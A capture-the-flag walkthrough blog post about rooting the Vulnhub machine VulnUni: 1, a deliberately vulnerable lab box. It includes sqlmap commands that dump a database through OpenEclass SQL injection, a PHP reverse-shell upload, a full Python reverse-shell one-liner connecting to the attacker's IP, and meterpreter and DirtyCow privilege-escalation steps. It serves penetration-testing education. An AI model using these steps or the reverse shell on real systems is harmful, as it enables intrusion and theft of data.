VulnUni: 1 — Vulnhub Walkthrough
This is my second Medium post and my second CTF writeup. “VulnUni” is a vulnerable machine from Vulnhub which was released by emaragkos as part of the VulnUni series. Here is my writeup explaining how I hacked this machine from boot to root. Enjoy!
Level: Beginner/Intermediate
Arp-scan or netdiscover can be used to discover the leased IP address. On my network, the machine was assigned the IP address of 192.168.10.47. Let’s scan this machine using nmap.
sudo nmap -sV -p- 192.168.10.47Port scans using nmap revealed an Apache server was running on an Ubuntu server on port 80. This was the only open port on this machine, and so we can assume that our foothold on this box will be through a vulnerable web-application or vulnerability (since this is a CTF, after all). We can also see the machine is on vulnuni.local — which we should add to our /etc/hosts file.
Nmap scan report for vulnuni.local (192.168.10.47)
Host is up (0.00045s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))Visiting the webpage, we can see that the server is hosting a university homepage by the name of “VulnUni” which is a cyber security focused university — something to keep in mind.
The page is very nicely put together and is pretty much filled with template text. The creator of this machine stated that it’s built to be more realistic — therefore we’re probably not looking for hidden files or hints; a more realistic approach to penetration testing.
In most CTF scenarios, I’d most likely pull all the images from the site and use steganography techniques to extract hidden information. This would’ve taken a long time, and since we know the machine is designed to be realistic, isn’t likely to be a viable attack vector of any kind.
Whilst enumerating the webpage, I had dirb running in the background to scan for other pages that may be hosted on the server, for good practice.
dirb http://192.168.10.47 /usr/share/wordlists/dirb/big.txt -X .phpRunning dirb did provide me with some javascript that was being used on the homepage, however nothing interesting was found. After 20 minutes of reading endless javascript, I decided to go back to the main page and start viewing the source code from each of the pages. I started with “courses.html”.
The main reason I was doing this was to gather information about the web-server — for example, plugin versions or sensitive information may be accidentally stored in the commented HTML by the developers of the site.
There’s something! It states:
“Disabled till new version is installed”
This is clearly a comment from one of the developers of the website — what could he be talking about? New version of what? Let’s check out the line underneath:
<! — <li class=”nav-item”><a href=”vulnuni-eclass-platform.html” class=”nav-link”>EClass Platform</a></li> →
That’s a html file! Apparently called the EClass Platform. Lets check out /vulnuni-eclass-platform.html to see if the file is actually being hosted.
Sure enough — it’s hosted! Let’s go to the login page and see if we can find the web-app. Remember, we’ve been told by the developers that it’s not in use until it’s updated — which most likely represents a security vulnerability. Let’s check it out.
I was very excited at this point, and so I decided to try all the default credentials I knew. Nothing came of this, and I understood that exploiting this application wouldn’t be that easy. Let’s do some digging and see what information we can find out about this app. I notice the “About the platform” tab.
Once I had a version number, I went straight to google to find some exploits. We know that the application is openeclass and we know that the version is 1.7.2 — I simply googled “OpenEclass 1.7.2 Exploit” and I was pleased to see a number of SQL injection attacks that this version is vulnerable to.
The first exploit is only useful if you have valid administrator credentials, which is out of my reach currently.
The second exploit was unauthenticated, and is a Blind SQL Injection. We’ll use this one first.
The exploit itself talks you through what to do in more detail — to keep this article short I’ll skip the configuration of BurpSuite and I’ll get straight to it.
First, we configure our Burp proxy to intecrept and to capture a login sequence with an invalid username/password. (e.g. username:bruh password:bruh)
POST /vulnuni-eclass/ HTTP/1.1
Host: 192.168.10.47
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.47/vulnuni-eclass/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close
Upgrade-Insecure-Requests: 1uname=bruh&pass=bruh&submit=Enter
We then save the intercepted request as a file (Right click -> Copy to file -> Save as eclasstestlogin).
Then, using SQLMap we can scan for SQL databases with the following command:
sudo sqlmap -r eclasstestlogin -dbs
As you can see, we now have a list of available databases that we can use. Let’s use a second command to dump some passwords from these databases. To start, I chose the first database ‘eclass’ to use.
sudo sqlmap -r eclasstestlogin -v -D eclass -T user -C password -dump
Awesome! Plaintext passwords have been dumped. I tried to use these passwords against the username “Admin” and discovered that the password was “ilikecats89”! I could now log into the eclass application as an administrator.
The ‘Admin Tool’ tab on the left-hand side of the page lets us view many things, such as all the users in the database and their plaintext passwords with email addresses.
Remember that first exploit we found that needed admin access? Let’s see if we can use that — since we now have valid administrator credentials!
Since we have an admin account, we will use this attack vector. As stated, we need to create a php reverse shell — zip it — and then upload it to the server. Let’s see how I did this.
I downloaded this PHP reverse shell and changed the IP address and port to my own. I then compressed the file to zip it.
We then divert to the following on the eclass website and proceed to upload our shell:
vulnuni.local/vulnuni-eclass/modules/course_info/restore_course.php
Once the zip file is uploaded, we can prepare our netcat listener on the corresponding port of our reverse shell.
sudo nc -nvlp 443Then, we simply access the php file we uploaded through “/courses/tmpUnzipping/[your-shell-name].php” which in my case was:
Side-note — not sure why the exploit code has a spelling error. It should be ‘courses’ instead of ‘cources’…
vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/shell.php
Great! We now have a reverse shell on the machine. Since this is a raw netcat shell, it’s not the best working environment. We can use the following command to determine if python is present on the server to upgrade our shell to a TTY.
which pythonThe server responded with “/usr/bin/python/” and so we can upgrade our shell using:
python -c ‘import pty; pty.spawn(“/bin/bash”)’We can then find the flag in the home directory of user “vulnuni”.
Moving on to privilege escalation.
It took me a while to remember that this machine isn’t based around a typical CTF challenge. There won’t be something ridiculous like a cronjob that executes bash or a hidden plaintext root password.
Honestly, this was a really good move by the creator and one of the reasons why I enjoyed this box so much. It represents a real-life scenario and actually tests your linux skills.
I quickly learned that the user “www-data” has very little privileges on the machine, if any. And there wasn’t a lot of areas that we have write permissions to. To help me out, I decided to upgrade my shell to a meterpreter shell. There are many ways of doing this, but I simply execute a reverse python shell and catch it with meterpreter. From there, we can run some post modules that may help us out with enumeration. Here’s what that looks like:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.15”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Once we have the command shell as “session 1” inside metasploit, we can use the following module to upgrade our shell to a linux meterpreter shell:
use post/multi/manage/shell_to_meterpreterOnce we set our LHOST and SESSION ID we can then run the module to upgrade our shell.
Now we have a meterpreter session that we can run some modules from. The first one I always like to try is the local exploit suggester.
use post/multi/recon/local_exploit_suggester[*] 192.168.10.47 — Collecting local exploits for x86/linux…
[*] 192.168.10.47–35 exploit checks are being tried…
[+] 192.168.10.47 — exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
[+] 192.168.10.47 — exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] Post module execution completed
The local exploits that were suggested to me did not work. I went back to basic enumeration and found nothing of significant use.
In a last resort, I decided to try the DirtyCow exploit (CVE-2016–5195).
Since the majority of the CTF’s I do are from HackTheBox — DirtyCow has never really been an option for me as it often results in the machine crashing. The fact that this machine is designed to be realistic made me wonder if this is the desired attack vector.
I decided to give it a try. I had a meterpreter shell, and so I downloaded the DirtyCow metasploit module from here.
If you don’t know how to load external metasploit modules, read this.
use exploit/linux/local/dirtycowAfter setting the appropriate session to run the module on, I then execute the local exploit by typing“exploit”
It worked! Let’s check to make sure we are running as root. We can use:
getuid
As you can see, we are running as uid=0 (root)! From here we can drop to a command shell to execute commands on the server as root; we have compromised the entire server and we have full system access.
I was wondering if this was the intended method to root this machine, as the DirtyCow exploit can sometimes be seen as ‘cheating’ when it comes to CTF’s. I messaged the creator of the box, and he let me know that this was indeed the intended method as he wanted the box to be as realistic as possible.
Thanks for reading!
